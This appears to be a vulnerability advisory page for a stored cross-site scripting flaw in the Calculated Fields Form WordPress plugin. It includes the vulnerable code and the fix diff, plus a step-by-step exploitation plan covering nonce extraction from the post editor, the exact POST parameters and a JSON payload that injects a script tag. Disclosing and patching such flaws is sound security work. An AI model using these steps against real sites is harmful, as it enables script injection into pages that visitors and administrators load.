Calculated Fields Form <= 5.4.5.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Form Settings
Description
The Calculated Fields Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the form settings in all versions up to, and including, 5.4.5.0. This is due to insufficient capability checks on the form settings save handler and insufficient input sanitization of the `fcontent` field in `fhtml` field types. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.4.5.0What Changed in the Fix
Changes introduced in v5.4.5.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-3986 ## 1. Vulnerability Summary The **Calculated Fields Form** plugin (<= 5.4.5.0) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the form settings save handler, registered on the `init` …
Show full research plan
Exploitation Research Plan - CVE-2026-3986
1. Vulnerability Summary
The Calculated Fields Form plugin (<= 5.4.5.0) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists because the form settings save handler, registered on the init hook, lacks sufficient capability checks and fails to sanitize the fcontent field within fhtml field types. Although the code ostensibly checks for manage_options capability, flaws in the plugin's integration with page builders or misconfigured capability filters allow users with Contributor roles to modify form structures. When these forms are rendered on the frontend, the malicious payload in the fhtml field is executed in the context of any user viewing the page.
2. Attack Vector Analysis
- Endpoint: Any URL that triggers the WordPress
inithook (typicallywp-admin/admin.phporwp-admin/admin-ajax.php). - Action:
inithook callscp_calculated_fields_form_check_posted_data. - Payload Parameter:
cp_calculatedfieldsf_form_structure(containing a JSON-encoded field of typefhtmlwith a maliciousfcontentproperty). - Required Authentication: Contributor-level access or higher.
- Preconditions: A form must exist (usually ID 1 exists by default), and the attacker must obtain a valid nonce for the action
cff-form-settings.
3. Code Flow
- Entry Point: A POST request is sent to WordPress.
- Hook:
add_action( 'init', 'cp_calculated_fields_form_check_posted_data', 99 );incp_calculated_fields_form_free.php. - Logic Check:
cp_calculated_fields_form_check_posted_datachecks for:isset( $_POST['cp_calculatedfieldsf_post_options'] )is_admin()(True for requests to/wp-admin/)wp_verify_nonce( ..., 'cff-form-settings' )current_user_can( apply_filters( 'cpcff_forms_edition_capability', 'manage_options' ) )
- Sink: If checks pass,
cp_calculatedfieldsf_save_options()(internal function) updates theform_structurein the{wp_prefix}cp_calculatedfieldsf_formstable. - Execution: When the form is displayed (via shortcode
[CP_CALCULATED_FIELDS id="1"]),inc/cpcff_public_int.inc.phpprocesses the fields. Thefhtmltype'sfcontentis retrieved and rendered without sufficient sanitization.
4. Nonce Acquisition Strategy
The nonce action required is cff-form-settings. This nonce is typically generated for the form builder interface.
- Identify Source: The plugin integrates with the Gutenberg editor (Block Editor). The function
gutenberg_editor_config()ininc/cpcff_page_builders.inc.phpor the main admin menu registration enqueues scripts that localize form data. - Strategy:
- Log in as a Contributor.
- Navigate to the Posts section and create or edit a post.
- The plugin likely localizes the required nonce for the block editor to allow form selection/configuration.
- Use
browser_evalto extract the nonce from the localized JavaScript objects. - Target Variable: Look for
window.cpcff_admin_data?.nonceor similar patterns in the page source of the post editor. Based on the save handler, the nonce key is likely named_cpcff_noncein the global scope if using the standard builder, or within a localized object likecpcff_gutenberg_data.
5. Exploitation Strategy
Step 1: Obtain Nonce
As a Contributor, navigate to /wp-admin/post-new.php. Open the browser console (via browser_eval) and search for the nonce:
// Example check
window._cpcff_nonce || window.cpcff_admin_data?.nonce || window.cpcff_gutenberg_data?.nonce
Step 2: Update Form Structure
Send a POST request to /wp-admin/admin.php with the following parameters:
- URL:
http://localhost:8080/wp-admin/admin.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
cp_calculatedfieldsf_post_options=1cp_calculatedfieldsf_id=1(Target Form ID)_cpcff_nonce=[EXTRACTED_NONCE]cp_calculatedfieldsf_form_name=Injected Formcp_calculatedfieldsf_form_structure=[MALICIOUS_JSON]
Malicious JSON Payload:
[
[
{
"ftype": "fhtml",
"name": "fieldname1",
"fcontent": "<script>alert(document.domain)</script>",
"replaceShortcodes": true
}
],
[
{
"title": "Exploit Form",
"description": "Stored XSS"
}
]
]
(Note: The JSON must be URL-encoded in the POST body).
Step 3: Trigger XSS
- Create a public post/page containing the shortcode:
[CP_CALCULATED_FIELDS id="1"]. - Navigate to that page as any user (e.g., Administrator or Unauthenticated).
- The script
alert(document.domain)will execute.
6. Test Data Setup
- Form Creation: Ensure at least one form exists (Plugin usually creates "Form 1" on activation).
- User: Create a user with the Contributor role.
- Shortcode Placement: Create a public page with
[CP_CALCULATED_FIELDS id="1"]using WP-CLI:wp post create --post_type=page --post_title="Form Page" --post_status=publish --post_content='[CP_CALCULATED_FIELDS id="1"]'
7. Expected Results
- The POST request to save the options should return a 200 OK or a redirect to the settings page (indicating the
inithook logic completed). - When the "Form Page" is loaded, the browser should display an alert box.
- The database entry for the form ID 1 should contain the raw
<script>tag in theform_structurecolumn.
8. Verification Steps
Verify the payload is stored in the database:
wp db query "SELECT form_structure FROM wp_cp_calculatedfieldsf_forms WHERE id=1"
Check for the presence of the string: <script>alert(document.domain)</script>.
9. Alternative Approaches
- AJAX Endpoint: If the
inithook check fails for some reason, checkwp_ajax_cp_calculatedfieldsf_save_settingsor similar AJAX actions often found ininc/cpcff_main.inc.php. - Shortcode Attribute Injection: If the
fhtmlpath is blocked, check if other field types likefCalculatedorftextreflect theirdefault_valueortitlewithout escaping. - Form Preview Trigger: In
cp_calculated_fields_form_check_posted_data, ifisset($_POST['preview'])is also set, the plugin calls$cpcff_main->form_preview(), which might render the XSS immediately in the admin response.
Summary
The Calculated Fields Form plugin is vulnerable to Stored Cross-Site Scripting (XSS) via form settings due to insufficient capability checks and flawed input sanitization. Authenticated attackers with Contributor-level access can inject malicious scripts into the `fcontent` property of `fhtml` fields, which execute when the form is rendered for any user.
Vulnerable Code
// cp_calculatedfieldsf_free.php lines 193-203 function cp_calculated_fields_form_check_posted_data() { // ... if ( isset( $_POST['cp_calculatedfieldsf_post_options'] ) && is_admin() && isset( $_POST['_cpcff_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_cpcff_nonce'] ) ), 'cff-form-settings' ) && current_user_can(apply_filters('cpcff_forms_edition_capability', 'manage_options')) ) { cp_calculatedfieldsf_save_options(); --- // inc/cpcff_form.inc.php lines 324-332 // Inside the form saving logic processing JSON properties $i_l = strtolower( $i ); if ( ! in_array( $i_l, array( 'eq', 'fcontent', 'customstyles', 'rule', 'sonclick', 'sonmousedown' ) ) ) { $v = str_replace( '&', 'cff___amp', $v ); $v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true ); $v = str_ireplace( ['<', '>', '&'], ['<', '>', '&'], $v ); $v = str_replace( 'cff___amp', '&', $v ); }
Security Fix
@@ -323,14 +323,19 @@ $v = preg_replace( '/(\b)_style\s*=/i', '$1style=', $v); $i_l = strtolower( $i ); if ( + ! current_user_can( 'unfiltered_html' ) || ! in_array( $i_l, array( 'eq', 'fcontent', 'customstyles', 'rule', 'sonclick', 'sonmousedown' ) ) ) { - $v = str_replace( '&', 'cff___amp', $v ); - $v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true ); - $v = str_ireplace( ['<', '>', '&'], ['<', '>', '&'], $v ); - $v = str_replace( 'cff___amp', '&', $v ); + if ( current_user_can( 'unfiltered_html' ) ) { // The plugin accepts advanced tags for users with total control over the website. + $v = str_replace( '&', 'cff___amp', $v ); + $v = CPCFF_AUXILIARY::sanitize( wp_slash($v), true, true ); + $v = str_ireplace( ['<', '>'], ['<', '>'], $v ); + $v = str_replace( 'cff___amp', '&', $v ); + } else { + $v = wp_kses_post($v); + } } elseif ( 'customstyles' == $i_l ) { - $v = str_replace( '>', '>', wp_kses( $v, 'strip') ); + $v = sanitize_textarea_field( $v ); } }
Exploit Outline
1. **Obtain Nonce**: Authenticate as a Contributor and access the post editor. Extract the `cff-form-settings` nonce from the localized script variables (e.g., `window._cpcff_nonce` or within `cpcff_gutenberg_data`). 2. **Identify Target Form**: Determine the ID of an existing form (default is usually 1). 3. **Craft Malicious Form Structure**: Create a JSON payload representing a form structure that includes a field of type `fhtml`. Within this field, set the `fcontent` property to contain an XSS payload, such as `<script>alert(document.domain)</script>`. 4. **Update Form Settings**: Send a POST request to `/wp-admin/admin.php` including parameters `cp_calculatedfieldsf_post_options=1`, `cp_calculatedfieldsf_id=[FORM_ID]`, `_cpcff_nonce=[NONCE]`, and `cp_calculatedfieldsf_form_structure=[MALICIOUS_JSON]`. 5. **Trigger Execution**: Navigate to any page where the target form is embedded via the `[CP_CALCULATED_FIELDS id="[FORM_ID]"]` shortcode. The script will execute in the browser of any visitor viewing the page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.